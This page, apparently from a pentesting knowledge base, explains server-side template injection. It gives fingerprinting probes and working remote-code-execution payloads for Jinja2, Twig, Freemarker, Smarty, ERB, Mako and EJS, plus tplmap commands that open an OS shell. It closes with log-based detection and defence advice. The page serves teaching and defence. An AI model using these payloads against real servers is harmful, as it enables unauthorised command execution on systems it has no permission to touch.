the_open_door
coffee
ESEN
← Back to index

Server-Side Template Injection (SSTI)

ATT&CKT1190
Full command arsenal in the cheatsheet

Many applications generate text (HTML, messages, queries) using a template engine: a system that mixes a fixed template with variable data ({{ name }}, <%= value %>, ${...}). If user-controlled data is inserted into the template and evaluated instead of being treated as plain text, you get a Server-Side Template Injection (SSTI). And since template engines usually allow host-language expressions, an SSTI frequently escalates to code execution. The RCE payload depends on the engine, so first you identify it.

Detection and fingerprint

Inject an arithmetic expression and see if it evaluates; then refine with payloads that only work in one engine to tell which it is:

{{7*7}}        -> 49   (Jinja2/Python, Twig/PHP)
${7*7}         -> 49   (Freemarker/Java, some JS)
<%= 7*7 %>     -> 49   (ERB/Ruby, EJS/Node)
#{7*7}         -> 49   (others)
{{7*'7'}}      -> 7777777 (Jinja2)   vs   49 (Twig)   # tells Jinja2 from Twig

RCE by engine

Jinja2 (Python / Flask)

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__() }}   # enumerate subclasses to reach Popen

Twig (PHP)

{{ ['id']|filter('system') }}
{{ ['id',1]|sort('system') }}
{{ _self.env.registerUndefinedFilterCallback('system') }}{{ _self.env.getFilter('id') }}

Freemarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
${ "freemarker.template.utility.Execute"?new()("id") }

Smarty (PHP)

{system('id')}
{php}system('id');{/php}

ERB (Ruby) / Mako (Python) / EJS (Node)

<%= system('id') %>                 # ERB (Ruby), also `id` with backticks
${ __import__('os').popen('id').read() }   # Mako (Python)
<%= process.mainModule.require('child_process').execSync('id') %>   # EJS (Node)

A concrete case is CVE-2022-0944 in SQLPad (< 6.10.1): the connection-test endpoint renders connection fields as templates, and an expression injected into them runs commands on the server. The result is a shell with the process's privileges (often root in containers).

Automation

python3 tplmap.py -u 'http://<ip>/page?name=X'      # detects the engine and gives a shell
python3 tplmap.py -u 'http://<ip>/page?name=X' --os-shell

How to detect it. The probing phase leaves a peculiar signature in the access log: parameters with {{7*7}}, ${7*7}, <%= 7*7 %>, #{...} and payloads with .__class__, .mro(), __globals__, process.mainModule, freemarker, which a WAF recognises as SSTI. Escalation to RCE is detected on the host just like a command injection: the application process (Node, Python, Java) spawning sh/bash/id, anomalous for a template renderer. The key is that the probe payload ({{7*7}}) almost never appears in legitimate traffic, so a single hit already warrants investigation, and a burst of payload variants against one field confirms the attack.

Defence. Do not build templates by concatenating user input; always pass data as the engine's context/variables, never as part of the template itself; use engines in sandbox mode where available; and keep dependencies updated. Related to other server-side injections such as file-upload to RCE.

Machines where it's used